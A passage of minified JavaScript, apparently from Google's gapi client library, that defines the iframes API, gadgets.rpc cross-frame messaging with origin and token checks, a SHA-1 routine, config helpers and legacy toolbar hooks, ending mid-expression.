dp=_.ao.hb;dp&&dp.register("_g_restyleDone",_.zo.prototype.sY,_.M); _.vo("_g_connect",_.zo.prototype.vQ);var ep={};ep._g_open=_.zo.prototype.gX;_.to("_open",ep,_.M); _.w("gapi.iframes.create",_.Kn); _.zo.prototype.sK=_.rc(16,function(a,b){this.register("_g_wasRestyled",a,b)});_.g=_.yo.prototype;_.g.rL=_.rc(15,function(a){this.gw("onRestyleSelfFilter",a)});_.g.bL=_.rc(14,function(a){this.gw("onCloseSelfFilter",a)});_.g.pH=_.rc(13,function(){return this.hb});_.g.gw=_.rc(12,function(a,b){this.bK[a]=b});_.g.Dn=_.rc(3,function(){return this.Fb});_.zo.prototype.Dn=_.rc(2,function(){return this.Fb});_.w("gapi.iframes.registerStyle",function(a,b){_.Go[a]=b}); _.w("gapi.iframes.registerBeforeOpenStyle",function(a,b){_.Do[a]=b});_.w("gapi.iframes.getStyle",_.Fo);_.w("gapi.iframes.getBeforeOpenStyle",function(a){return _.Do[a]});_.w("gapi.iframes.registerIframesApi",_.to);_.w("gapi.iframes.registerIframesApiHandler",_.uo);_.w("gapi.iframes.getContext",_.wo);_.w("gapi.iframes.SAME_ORIGIN_IFRAMES_FILTER",_.po);_.w("gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.M);_.w("gapi.iframes.makeWhiteListIframesFilter",_.qo);_.w("gapi.iframes.Context",_.yo); _.w("gapi.iframes.Context.prototype.isDisposed",_.yo.prototype.Dn);_.w("gapi.iframes.Context.prototype.getWindow",_.yo.prototype.vb);_.w("gapi.iframes.Context.prototype.getFrameName",_.yo.prototype.Cd);_.w("gapi.iframes.Context.prototype.getGlobalParam",_.yo.prototype.Ez);_.w("gapi.iframes.Context.prototype.setGlobalParam",_.yo.prototype.gw);_.w("gapi.iframes.Context.prototype.open",_.yo.prototype.open);_.w("gapi.iframes.Context.prototype.openChild",_.yo.prototype.Tg); _.w("gapi.iframes.Context.prototype.getParentIframe",_.yo.prototype.pH);_.w("gapi.iframes.Context.prototype.closeSelf",_.yo.prototype.dy);_.w("gapi.iframes.Context.prototype.restyleSelf",_.yo.prototype.sC);_.w("gapi.iframes.Context.prototype.setCloseSelfFilter",_.yo.prototype.bL);_.w("gapi.iframes.Context.prototype.setRestyleSelfFilter",_.yo.prototype.rL);_.w("gapi.iframes.Iframe",_.zo);_.w("gapi.iframes.Iframe.prototype.isDisposed",_.zo.prototype.Dn); _.w("gapi.iframes.Iframe.prototype.getContext",_.zo.prototype.getContext);_.w("gapi.iframes.Iframe.prototype.getFrameName",_.zo.prototype.Cd);_.w("gapi.iframes.Iframe.prototype.getId",_.zo.prototype.ka);_.w("gapi.iframes.Iframe.prototype.register",_.zo.prototype.register);_.w("gapi.iframes.Iframe.prototype.unregister",_.zo.prototype.unregister);_.w("gapi.iframes.Iframe.prototype.send",_.zo.prototype.send);_.w("gapi.iframes.Iframe.prototype.applyIframesApi",_.zo.prototype.Yo); _.w("gapi.iframes.Iframe.prototype.getIframeEl",_.zo.prototype.Ha);_.w("gapi.iframes.Iframe.prototype.getSiteEl",_.zo.prototype.$a);_.w("gapi.iframes.Iframe.prototype.setSiteEl",_.zo.prototype.Ze);_.w("gapi.iframes.Iframe.prototype.getWindow",_.zo.prototype.vb);_.w("gapi.iframes.Iframe.prototype.getOrigin",_.zo.prototype.Qa);_.w("gapi.iframes.Iframe.prototype.close",_.zo.prototype.close);_.w("gapi.iframes.Iframe.prototype.restyle",_.zo.prototype.tr); _.w("gapi.iframes.Iframe.prototype.restyleDone",_.zo.prototype.bo);_.w("gapi.iframes.Iframe.prototype.registerWasRestyled",_.zo.prototype.sK);_.w("gapi.iframes.Iframe.prototype.registerWasClosed",_.zo.prototype.ik);_.w("gapi.iframes.Iframe.prototype.getParam",_.zo.prototype.Mz);_.w("gapi.iframes.Iframe.prototype.setParam",_.zo.prototype.pL);_.w("gapi.iframes.Iframe.prototype.ping",_.zo.prototype.ping); var LM=function(a,b){a.R.data=b;return a};_.yo.prototype.vK=_.rc(18,function(a,b){a=_.Td(this.wB,a,[]);if(b)for(var c=0,d=!1;!d&&c<a.length;c++)a[c].Oe===b&&(d=!0,a.splice(c,1));else a.splice(0,a.length)}); _.yo.prototype.fy=_.rc(17,function(a,b){a=new _.So(a);var c=new _.So(b),d=_.mo(a);b=a.getIframe();var e=c.getIframe();if(e){var f=_.Un(a),h=new _.ho;_.ap(b,e,h);LM(_.To((new _.So(h.value())).tk(f),a.R.role),a.R.data).$i(d);var k=new _.ho;_.ap(e,b,k);LM(_.To((new _.So(k.value())).tk(f),c.R.role),c.R.data).$i(!0);_.Ao(b,"_g_connect",h.value(),function(){d||_.Ao(e,"_g_connect",k.value())});d&&_.Ao(e,"_g_connect",k.value())}else c={},LM(_.To(_.Uo(new _.So(c)),a.R.role),a.R.data),_.Ao(b,"_g_connect",c)}); _.w("gapi.iframes.Context.prototype.addOnConnectHandler",_.yo.prototype.xx);_.w("gapi.iframes.Context.prototype.removeOnConnectHandler",_.yo.prototype.vK);_.w("gapi.iframes.Context.prototype.addOnOpenerHandler",_.yo.prototype.sj);_.w("gapi.iframes.Context.prototype.connectIframes",_.yo.prototype.fy); _.ak=window.googleapis&&window.googleapis.server||{}; (function(){function a(a,b){if(!(a<c)&&d)if(2===a&&d.warn)d.warn(b);else if(3===a&&d.error)try{d.error(b)}catch(h){}else d.log&&d.log(b)}var b=function(b){a(1,b)};_.Ra=function(b){a(2,b)};_.Sa=function(b){a(3,b)};_.oe=function(){};b.INFO=1;b.WARNING=2;b.NONE=4;var c=1,d=window.console?window.console:window.opera?window.opera.postError:void 0;return b})(); _.pe=function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(_.Wa(d)){var e=a.length||0,f=d.length||0;a.length=e+f;for(var h=0;h<f;h++)a[e+h]=d[h]}else a.push(d)}}; _.I=_.I||{};_.I.Hs=function(a,b,c,d){"undefined"!=typeof a.addEventListener?a.addEventListener(b,c,d):"undefined"!=typeof a.attachEvent?a.attachEvent("on"+b,c):_.Ra("cannot attachBrowserEvent: "+b)};_.I.VX=function(a){var b=window;b.removeEventListener?b.removeEventListener("mousemove",a,!1):b.detachEvent?b.detachEvent("onmousemove",a):_.Ra("cannot removeBrowserEvent: mousemove")}; _.bk=function(){function a(){e[0]=1732584193;e[1]=4023233417;e[2]=2562383102;e[3]=271733878;e[4]=3285377520;p=n=0}function b(a){for(var b=h,c=0;64>c;c+=4)b[c/4]=a[c]<<24|a[c+1]<<16|a[c+2]<<8|a[c+3];for(c=16;80>c;c++)a=b[c-3]^b[c-8]^b[c-14]^b[c-16],b[c]=(a<<1|a>>>31)&4294967295;a=e[0];var d=e[1],f=e[2],k=e[3],l=e[4];for(c=0;80>c;c++){if(40>c)if(20>c){var n=k^d&(f^k);var p=1518500249}else n=d^f^k,p=1859775393;else 60>c?(n=d&f|k&(d|f),p=2400959708):(n=d^f^k,p=3395469782);n=((a<<5|a>>>27)&4294967295)+ n+l+p+b[c]&4294967295;l=k;k=f;f=(d<<30|d>>>2)&4294967295;d=a;a=n}e[0]=e[0]+a&4294967295;e[1]=e[1]+d&4294967295;e[2]=e[2]+f&4294967295;e[3]=e[3]+k&4294967295;e[4]=e[4]+l&4294967295}function c(a,c){if("string"===typeof a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var d=[],e=0,h=a.length;e<h;++e)d.push(a.charCodeAt(e));a=d}c||(c=a.length);d=0;if(0==n)for(;d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64;for(;d<c;)if(f[n++]=a[d++],p++,64==n)for(n=0,b(f);d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64} function d(){var a=[],d=8*p;56>n?c(k,56-n):c(k,64-(n-56));for(var h=63;56<=h;h--)f[h]=d&255,d>>>=8;b(f);for(h=d=0;5>h;h++)for(var l=24;0<=l;l-=8)a[d++]=e[h]>>l&255;return a}for(var e=[],f=[],h=[],k=[128],l=1;64>l;++l)k[l]=0;var n,p;a();return{reset:a,update:c,digest:d,Ig:function(){for(var a=d(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}}}; _.ck=function(){function a(a){var b=_.bk();b.update(a);return b.Ig()}var b=window.crypto;if(b&&"function"==typeof b.getRandomValues)return function(){var a=new window.Uint32Array(1);b.getRandomValues(a);return Number("0."+a[0])};var c=_.H("random/maxObserveMousemove");null==c&&(c=-1);var d=0,e=Math.random(),f=1,h=1E6*(window.screen.width*window.screen.width+window.screen.height),k=function(a){a=a||window.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;f=f*b% h;0<c&&++d==c&&_.I.VX(k)};0!=c&&_.I.Hs(window,"mousemove",k,!1);var l=a(window.document.cookie+"|"+window.document.location+"|"+(new Date).getTime()+"|"+e);return function(){var b=f;b+=(0,window.parseInt)(l.substr(0,20),16);l=a(l);return b/(h+Math.pow(16,20))}}(); _.w("shindig.random",_.ck); _.I=_.I||{};(function(){var a=[];_.I.P9=function(b){a.push(b)};_.I.c$=function(){for(var b=0,c=a.length;b<c;++b)a[b]()}})(); _.we=function(){var a=window.gadgets&&window.gadgets.config&&window.gadgets.config.get;a&&_.le(a());return{register:function(a,c,d){d&&d(_.H())},get:function(a){return _.H(a)},update:function(a,c){if(c)throw"Config replacement is not supported";_.le(a)},Pb:function(){}}}(); _.w("gadgets.config.register",_.we.register);_.w("gadgets.config.get",_.we.get);_.w("gadgets.config.init",_.we.Pb);_.w("gadgets.config.update",_.we.update); var jf;_.gf=function(){var a=_.Qd.readyState;return"complete"===a||"interactive"===a&&-1==window.navigator.userAgent.indexOf("MSIE")};_.hf=function(a){if(_.gf())a();else{var b=!1,c=function(){if(!b)return b=!0,a.apply(this,arguments)};_.Nd.addEventListener?(_.Nd.addEventListener("load",c,!1),_.Nd.addEventListener("DOMContentLoaded",c,!1)):_.Nd.attachEvent&&(_.Nd.attachEvent("onreadystatechange",function(){_.gf()&&c.apply(this,arguments)}),_.Nd.attachEvent("onload",c))}};jf=jf||{};jf.HK=null; jf.zJ=null;jf.uu=null;jf.frameElement=null; jf=jf||{}; jf.ZD||(jf.ZD=function(){function a(a,b,c){"undefined"!=typeof window.addEventListener?window.addEventListener(a,b,c):"undefined"!=typeof window.attachEvent&&window.attachEvent("on"+a,b);"message"===a&&(window.___jsl=window.___jsl||{},a=window.___jsl,a.RPMQ=a.RPMQ||[],a.RPMQ.push(b))}function b(a){var b=_.cf(a.data);if(b&&b.f){(0,_.oe)("gadgets.rpc.receive("+window.name+"): "+a.data);var d=_.K.Bl(b.f);e&&("undefined"!==typeof a.origin?a.origin!==d:a.domain!==/^.+:\/\/([^:]+).*/.exec(d)[1])?_.Sa("Invalid rpc message origin. "+ d+" vs "+(a.origin||"")):c(b,a.origin)}}var c,d,e=!0;return{ZG:function(){return"wpm"},RV:function(){return!0},Pb:function(f,h){_.we.register("rpc",null,function(a){"true"===String((a&&a.rpc||{}).disableForceSecure)&&(e=!1)});c=f;d=h;a("message",b,!1);d("..",!0);return!0},Dc:function(a){d(a,!0);return!0},call:function(a,b,c){var d=_.K.Bl(a),e=_.K.bF(a);d?window.setTimeout(function(){var a=_.df(c);(0,_.oe)("gadgets.rpc.send("+window.name+"): "+a);e.postMessage(a,d)},0):".."!=a&&_.Sa("No relay set (used as window.postMessage targetOrigin), cannot send cross-domain message"); return!0}}}()); if(window.gadgets&&window.gadgets.rpc)"undefined"!=typeof _.K&&_.K||(_.K=window.gadgets.rpc,_.K.config=_.K.config,_.K.register=_.K.register,_.K.unregister=_.K.unregister,_.K.qK=_.K.registerDefault,_.K.oM=_.K.unregisterDefault,_.K.RG=_.K.forceParentVerifiable,_.K.call=_.K.call,_.K.kq=_.K.getRelayUrl,_.K.Ph=_.K.setRelayUrl,_.K.ew=_.K.setAuthToken,_.K.Hr=_.K.setupReceiver,_.K.fl=_.K.getAuthToken,_.K.kC=_.K.removeReceiver,_.K.uH=_.K.getRelayChannel,_.K.nK=_.K.receive,_.K.pK=_.K.receiveSameDomain,_.K.Qa= _.K.getOrigin,_.K.Bl=_.K.getTargetOrigin,_.K.bF=_.K._getTargetWin,_.K.xP=_.K._parseSiblingId);else{_.K=function(){function a(a,b){if(!aa[a]){var c=R;b||(c=ka);aa[a]=c;b=la[a]||[];for(var d=0;d<b.length;++d){var e=b[d];e.t=G[a];c.call(a,e.f,e)}la[a]=[]}}function b(){function a(){Ga=!0}N||("undefined"!=typeof window.addEventListener?window.addEventListener("unload",a,!1):"undefined"!=typeof window.attachEvent&&window.attachEvent("onunload",a),N=!0)}function c(a,c,d,e,f){G[c]&&G[c]===d||(_.Sa("Invalid gadgets.rpc token. "+ G[c]+" vs "+d),ua(c,2));f.onunload=function(){J[c]&&!Ga&&(ua(c,1),_.K.kC(c))};b();e=_.cf((0,window.decodeURIComponent)(e))}function d(b,c){if(b&&"string"===typeof b.s&&"string"===typeof b.f&&b.a instanceof Array)if(G[b.f]&&G[b.f]!==b.t&&(_.Sa("Invalid gadgets.rpc token. "+G[b.f]+" vs "+b.t),ua(b.f,2)),"__ack"===b.s)window.setTimeout(function(){a(b.f,!0)},0);else{b.c&&(b.callback=function(a){_.K.call(b.f,(b.g?"legacy__":"")+"__cb",null,b.c,a)});if(c){var d=e(c);b.origin=c;var f=b.r;try{var h=e(f)}catch(Ha){}f&& h==d||(f=c);b.referer=f}c=(y[b.s]||y[""]).apply(b,b.a);b.c&&"undefined"!==typeof c&&_.K.call(b.f,"__cb",null,b.c,c)}}function e(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);-1==a.indexOf("://")&&(a=window.location.protocol+"//"+a);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!== a&&"chrome-search"!==a)throw Error("p");c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0,d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}function f(a){if("/"==a.charAt(0)){var b=a.indexOf("|");return{id:0<b?a.substring(1,b):a.substring(1),origin:0<b?a.substring(b+1):null}}return null}function h(a){if("undefined"===typeof a||".."===a)return window.parent;var b=f(a);if(b)return window.top.frames[b.id];a=String(a);return(b=window.frames[a])?b:(b= window.document.getElementById(a))&&b.contentWindow?b.contentWindow:null}function k(a,b){if(!0!==J[a]){"undefined"===typeof J[a]&&(J[a]=0);var c=h(a);".."!==a&&null==c||!0!==R.Dc(a,b)?!0!==J[a]&&10>J[a]++?window.setTimeout(function(){k(a,b)},500):(aa[a]=ka,J[a]=!0):J[a]=!0}}function l(a){(a=F[a])&&"/"===a.substring(0,1)&&(a="/"===a.substring(1,2)?window.document.location.protocol+a:window.document.location.protocol+"//"+window.document.location.host+a);return a}function n(a,b,c){b&&!/http(s)?:\/\/.+/.test(b)&& (0==b.indexOf("//")?b=window.location.protocol+b:"/"==b.charAt(0)?b=window.location.protocol+"//"+window.location.host+b:-1==b.indexOf("://")&&(b=window.location.protocol+"//"+b));F[a]=b;"undefined"!==typeof c&&(E[a]=!!c)}function p(a,b){b=b||"";G[a]=String(b);k(a,b)}function q(a){a=(a.passReferrer||"").split(":",2);za=a[0]||"none";pa=a[1]||"origin"}function t(b){"true"===String(b.useLegacyProtocol)&&(R=jf.uu||ka,R.Pb(d,a))}function x(a,b){function c(c){c=c&&c.rpc||{};q(c);var d=c.parentRelayUrl|| "";d=e(V.parent||b)+d;n("..",d,"true"===String(c.useLegacyProtocol));t(c);p("..",a)}!V.parent&&b?c({}):_.we.register("rpc",null,c)}function v(a,b,c){if(".."===a)x(c||V.rpctoken||V.ifpctok||"",b);else a:{var d=null;if("/"!=a.charAt(0)){if(!_.I)break a;d=window.document.getElementById(a);if(!d)throw Error("q`"+a);}d=d&&d.src;b=b||_.K.Qa(d);n(a,b);b=_.I.xc(d);p(a,c||b.rpctoken)}}var y={},F={},E={},G={},B=0,L={},J={},V={},aa={},la={},za=null,pa=null,ba=window.top!==window.self,qa=window.name,ua=function(){}, db=window.console,ra=db&&db.log&&function(a){db.log(a)}||function(){},ka=function(){function a(a){return function(){ra(a+": call ignored")}}return{ZG:function(){return"noop"},RV:function(){return!0},Pb:a("init"),Dc:a("setup"),call:a("call")}}();_.I&&(V=_.I.xc());var Ga=!1,N=!1,R=function(){if("rmr"==V.rpctx)return jf.HK;var a="function"===typeof window.postMessage?jf.ZD:"object"===typeof window.postMessage?jf.ZD:window.ActiveXObject?jf.zJ?jf.zJ:jf.uu:0<window.navigator.userAgent.indexOf("WebKit")? jf.HK:"Gecko"===window.navigator.product?jf.frameElement:jf.uu;a||(a=ka);return a}();y[""]=function(){ra("Unknown RPC service: "+this.s)};y.__cb=function(a,b){var c=L[a];c&&(delete L[a],c.call(this,b))};return{config:function(a){"function"===typeof a.MK&&(ua=a.MK)},register:function(a,b){if("__cb"===a||"__ack"===a)throw Error("r");if(""===a)throw Error("s");y[a]=b},unregister:function(a){if("__cb"===a||"__ack"===a)throw Error("t");if(""===a)throw Error("u");delete y[a]},qK:function(a){y[""]=a},oM:function(){delete y[""]}, RG:function(){},call:function(a,b,c,d){a=a||"..";var e="..";".."===a?e=qa:"/"==a.charAt(0)&&(e=_.K.Qa(window.location.href),e="/"+qa+(e?"|"+e:""));++B;c&&(L[B]=c);var h={s:b,f:e,c:c?B:0,a:Array.prototype.slice.call(arguments,3),t:G[a],l:!!E[a]};a:if("bidir"===za||"c2p"===za&&".."===a||"p2c"===za&&".."!==a){var k=window.location.href;var l="?";if("query"===pa)l="#";else if("hash"===pa)break a;l=k.lastIndexOf(l);l=-1===l?k.length:l;k=k.substring(0,l)}else k=null;k&&(h.r=k);if(".."===a||null!=f(a)|| window.document.getElementById(a))(k=aa[a])||null===f(a)||(k=R),0===b.indexOf("legacy__")&&(k=R,h.s=b.substring(8),h.c=h.c?h.c:B),h.g=!0,h.r=e,k?(E[a]&&(k=jf.uu),!1===k.call(a,e,h)&&(aa[a]=ka,R.call(a,e,h))):la[a]?la[a].push(h):la[a]=[h]},kq:l,Ph:n,ew:p,Hr:v,fl:function(a){return G[a]},kC:function(a){delete F[a];delete E[a];delete G[a];delete J[a];delete aa[a]},uH:function(){return R.ZG()},nK:function(a,b){4<a.length?R.V7(a,d):c.apply(null,a.concat(b))},pK:function(a){a.a=Array.prototype.slice.call(a.a); window.setTimeout(function(){d(a)},0)},Qa:e,Bl:function(a){var b=null,c=l(a);c?b=c:(c=f(a))?b=c.origin:".."==a?b=V.parent:(a=window.document.getElementById(a))&&"iframe"===a.tagName.toLowerCase()&&(b=a.src);return e(b)},Pb:function(){!1===R.Pb(d,a)&&(R=ka);ba?v(".."):_.we.register("rpc",null,function(a){a=a.rpc||{};q(a);t(a)})},bF:h,xP:f,c0:"__ack",E5:qa||"..",T5:0,S5:1,R5:2}}();_.K.Pb()}; _.K.config({MK:function(a){throw Error("v`"+a);}});_.oe=_.ve;_.w("gadgets.rpc.config",_.K.config);_.w("gadgets.rpc.register",_.K.register);_.w("gadgets.rpc.unregister",_.K.unregister);_.w("gadgets.rpc.registerDefault",_.K.qK);_.w("gadgets.rpc.unregisterDefault",_.K.oM);_.w("gadgets.rpc.forceParentVerifiable",_.K.RG);_.w("gadgets.rpc.call",_.K.call);_.w("gadgets.rpc.getRelayUrl",_.K.kq);_.w("gadgets.rpc.setRelayUrl",_.K.Ph);_.w("gadgets.rpc.setAuthToken",_.K.ew);_.w("gadgets.rpc.setupReceiver",_.K.Hr);_.w("gadgets.rpc.getAuthToken",_.K.fl); _.w("gadgets.rpc.removeReceiver",_.K.kC);_.w("gadgets.rpc.getRelayChannel",_.K.uH);_.w("gadgets.rpc.receive",_.K.nK);_.w("gadgets.rpc.receiveSameDomain",_.K.pK);_.w("gadgets.rpc.getOrigin",_.K.Qa);_.w("gadgets.rpc.getTargetOrigin",_.K.Bl); var dk=function(a){return{execute:function(b){var c={method:a.httpMethod||"GET",root:a.root,path:a.url,params:a.urlParams,headers:a.headers,body:a.body},d=window.gapi,e=function(){var a=d.config.get("client/apiKey"),e=d.config.get("client/version");try{var k=d.config.get("googleapis.config/developerKey"),l=d.config.get("client/apiKey",k);d.config.update("client/apiKey",l);d.config.update("client/version","1.0.0-alpha");var n=d.client;n.request.call(n,c).then(b,b)}finally{d.config.update("client/apiKey", a),d.config.update("client/version",e)}};d.client?e():d.load.call(d,"client",e)}}},ek=function(a,b){return function(c){var d={};c=c.body;var e=_.cf(c),f={};if(e&&e.length)for(var h=0,k=e.length;h<k;++h){var l=e[h];f[l.id]=l}h=0;for(k=b.length;h<k;++h)l=b[h].id,d[l]=e&&e.length?f[l]:e;a(d,c)}},fk=function(a){a.transport={name:"googleapis",execute:function(b,c){for(var d=[],e=0,f=b.length;e<f;++e){var h=b[e],k=h.method,l=String(k).split(".")[0];l=_.H("googleapis.config/versions/"+k)||_.H("googleapis.config/versions/"+ l)||"v1";d.push({jsonrpc:"2.0",id:h.id,method:k,apiVersion:String(l),params:h.params})}b=dk({httpMethod:"POST",root:a.transport.root,url:"/rpc?pp=0",headers:{"Content-Type":"application/json"},body:d});b.execute.call(b,ek(c,d))},root:void 0}},gk=function(a){var b=this.method,c=this.transport;c.execute.call(c,[{method:b,id:b,params:this.rpc}],function(c){c=c[b];c.error||(c=c.data||c.result);a(c)})},ik=function(){for(var a=hk,b=a.split("."),c=function(b){b=b||{};b.groupId=b.groupId||"@self";b.userId= b.userId||"@viewer";b={method:a,rpc:b||{}};fk(b);b.execute=gk;return b},d=_.m,e=0,f=b.length;e<f;++e){var h=d[b[e]]||{};e+1==f&&(h=c);d=d[b[e]]=h}if(1<b.length&&"googleapis"!=b[0])for(b[0]="googleapis","delete"==b[b.length-1]&&(b[b.length-1]="remove"),d=_.m,e=0,f=b.length;e<f;++e)h=d[b[e]]||{},e+1==f&&(h=c),d=d[b[e]]=h},hk;for(hk in _.H("googleapis.config/methods"))ik(); _.w("googleapis.newHttpRequest",function(a){return dk(a)});_.w("googleapis.setUrlParameter",function(a,b){if("trace"!==a)throw Error("M");_.le("client/trace",b)}); _.fp=_.Td(_.ce,"rw",_.D()); var gp=function(a,b){(a=_.fp[a])&&a.state<b&&(a.state=b)};var hp=function(a){a=(a=_.fp[a])?a.oid:void 0;if(a){var b=_.Qd.getElementById(a);b&&b.parentNode.removeChild(b);delete _.fp[a];hp(a)}};_.ip=function(a){a=a.container;"string"===typeof a&&(a=window.document.getElementById(a));return a};_.jp=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width||"300px")+";margin:0px;border-style:none;"}; _.kp=function(a,b){var c={},d=a.Ob(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e||(e=d.width||a.width);f||(f=d.height||a.height);d.width=c.width=e;d.height=c.height=f;d=a.Ha();e=a.ka();gp(e,2);a:{e=a.$a();c=c||{};if(_.ce.oa){var k=d.id;if(k){f=(f=_.fp[k])?f.state:void 0;if(1===f||4===f)break a;hp(k)}}(f=e.nextSibling)&&f.getAttribute&&f.getAttribute("data-gapistub")&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.height;var l=e.style;l.textIndent="0";l.margin= "0";l.padding="0";l.background="transparent";l.borderStyle="none";l.cssFloat="none";l.styleFloat="none";l.lineHeight="normal";l.fontSize="1px";l.verticalAlign="baseline";e=e.style;e.display="inline-block";d=d.style;d.position="static";d.left="0";d.top="0";d.visibility="visible";f&&(e.width=d.width=f+"px");h&&(e.height=d.height=h+"px");c.verticalAlign&&(e.verticalAlign=c.verticalAlign);k&&gp(k,3)}(k=b?b.title:null)&&a.Ha().setAttribute("title",k);(b=b?b.ariaLabel:null)&&a.Ha().setAttribute("aria-label", b)};_.lp=function(a){var b=a.$a();b&&b.removeChild(a.Ha())};_.mp=function(a){a.where=_.ip(a);var b=a.messageHandlers=a.messageHandlers||{},c=function(a){_.kp(this,a)};b._ready=c;b._renderstart=c;var d=a.onClose;a.onClose=function(a){d&&d.call(this,a);_.lp(this)};a.onCreate=function(a){a=a.Ha();a.style.cssText=_.jp(a)}}; var Yj=_.Xj=_.Xj||{};window.___jsl=window.___jsl||{};Yj.Mx={E8:function(){return window.___jsl.bsh},iH:function(){return window.___jsl.h},KC:function(a){window.___jsl.bsh=a},qZ:function(a){window.___jsl.h=a}}; _.I=_.I||{};_.I.Yu=function(a,b,c){for(var d=[],e=2,f=arguments.length;e<f;++e)d.push(arguments[e]);return function(){for(var c=d.slice(),e=0,f=arguments.length;e<f;++e)c.push(arguments[e]);return b.apply(a,c)}};_.I.Rq=function(a){var b,c,d={};for(b=0;c=a[b];++b)d[c]=c;return d}; _.I=_.I||{}; (function(){function a(a,b){return String.fromCharCode(b)}var b={0:!1,10:!0,13:!0,34:!0,39:!0,60:!0,62:!0,92:!0,8232:!0,8233:!0,65282:!0,65287:!0,65308:!0,65310:!0,65340:!0};_.I.escape=function(a,b){if(a){if("string"===typeof a)return _.I.Ft(a);if("Array"===typeof a){var c=0;for(b=a.length;c<b;++c)a[c]=_.I.escape(a[c])}else if("object"===typeof a&&b){b={};for(c in a)a.hasOwnProperty(c)&&(b[_.I.Ft(c)]=_.I.escape(a[c],!0));return b}}return a};_.I.Ft=function(a){if(!a)return a;for(var c=[],e,f,h=0,k= a.length;h<k;++h)e=a.charCodeAt(h),f=b[e],!0===f?c.push("&#",e,";"):!1!==f&&c.push(a.charAt(h));return c.join("")};_.I.x$=function(b){return b?b.replace(/&#([0-9]+);/g,a):b}})(); _.O={};_.op={};window.iframer=_.op; _.O.Ia=_.O.Ia||{};_.O.Ia.fQ=function(a){try{return!!a.document}catch(b){}return!1};_.O.Ia.DH=function(a){var b=a.parent;return a!=b&&_.O.Ia.fQ(b)?_.O.Ia.DH(b):a};_.O.Ia.Z8=function(a){var b=a.userAgent||"";a=a.product||"";return 0!=b.indexOf("Opera")&&-1==b.indexOf("WebKit")&&"Gecko"==a&&0<b.indexOf("rv:1.")}; var Mr,Nr,Or,Qr,Rr,Sr,Xr,Yr,Zr,$r,bs,cs,ds,fs,gs,is;Mr=function(){_.O.tI++;return["I",_.O.tI,"_",(new Date).getTime()].join("")};Nr=function(a){return a instanceof Array?a.join(","):a instanceof Object?_.df(a):a};Or=function(){};Qr=function(a){a&&a.match(Pr)&&_.le("googleapis.config/gcv",a)};Rr=function(a){_.Xj.Mx.qZ(a)};Sr=function(a){_.Xj.Mx.KC(a)};_.Tr=function(a,b){b=b||{};for(var c in a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}; _.Vr=function(a,b,c,d,e){var f=[],h;for(h in a)if(a.hasOwnProperty(h)){var k=b,l=c,n=a[h],p=d,q=Ur(h);q[k]=q[k]||{};p=_.I.Yu(p,n);n._iframe_wrapped_rpc_&&(p._iframe_wrapped_rpc_=!0);q[k][l]=p;f.push(h)}if(e)for(h in _.O.tn)_.O.tn.hasOwnProperty(h)&&f.push(h);return f.join(",")};Xr=function(a,b,c){var d={};if(a&&a._methods){a=a._methods.split(",");for(var e=0;e<a.length;e++){var f=a[e];d[f]=Wr(f,b,c)}}return d}; Yr=function(a){if(a&&a.disableMultiLevelParentRelay)a=!1;else{var b;if(b=_.op&&_.op._open&&"inline"!=a.style&&!0!==a.inline)a=a.container,b=!(a&&("string"==typeof a&&window.document.getElementById(a)||window.document==(a.ownerDocument||a.document)));a=b}return a};Zr=function(a,b){var c={};b=b.params||{};for(var d in a)"#"==d.charAt(0)&&(c[d.substring(1)]=a[d]),0==d.indexOf("fr-")&&(c[d.substring(3)]=a[d]),"#"==b[d]&&(c[d]=a[d]);for(var e in c)delete a["fr-"+e],delete a["#"+e],delete a[e];return c}; $r=function(a){if(":"==a.charAt(0)){var b=_.H("iframes/"+a.substring(1));a={};_.Vd(b,a);(b=a.url)&&(a.url=_.In(b));a.params||(a.params={});return a}return{url:_.In(a)}};bs=function(a){function b(){}b.prototype=as.prototype;a.prototype=new b};cs=function(a){return _.O.Rr[a]};ds=function(a,b){_.O.Rr[a]=b};fs=function(a){a=a||{};"auto"===a.height&&(a.height=_.Jm.Xc());var b=window&&es&&es.Na();b?b.DK(a.width||0,a.height||0):_.op&&_.op._resizeMe&&_.op._resizeMe(a)};gs=function(a){Qr(a)}; _.hs=function(){return _.Nd.location.origin||_.Nd.location.protocol+"//"+_.Nd.location.host};is=function(a){var b=_.Xd(a.location.href,"urlindex");if(b=_.Td(_.ce,"fUrl",[])[b]){var c=a.location.hash;b+=/#/.test(b)?c.replace(/^#/,"&"):c;a.location.replace(b)}}; if(window.ToolbarApi)es=window.ToolbarApi,es.Na=window.ToolbarApi.getInstance,es.prototype=window.ToolbarApi.prototype,_.g=es.prototype,_.g.openWindow=es.prototype.openWindow,_.g.XF=es.prototype.closeWindow,_.g.nL=es.prototype.setOnCloseHandler,_.g.KF=es.prototype.canClosePopup,_.g.DK=es.prototype.resizeWindow;else{var es=function(){},js=null;es.Na=function(){!js&&window.external&&window.external.GTB_IsToolbar&&(js=new es);return js};_.g=es.prototype;_.g.openWindow=function(a){return window.external.GTB_OpenPopup&& window.external.GTB_OpenPopup(a)};_.g.XF=function(a){window.external.GTB_ClosePopupWindow&&window.external.GTB_ClosePopupWindow(a)};_.g.nL=function(a,b){window.external.GTB_SetOnCloseHandler&&window.external.GTB_SetOnCloseHandler(a,b)};_.g.KF=function(a){return window.external.GTB_CanClosePopup&&window.external.GTB_CanClosePopup(a)};_.g.DK=function(a,b){return 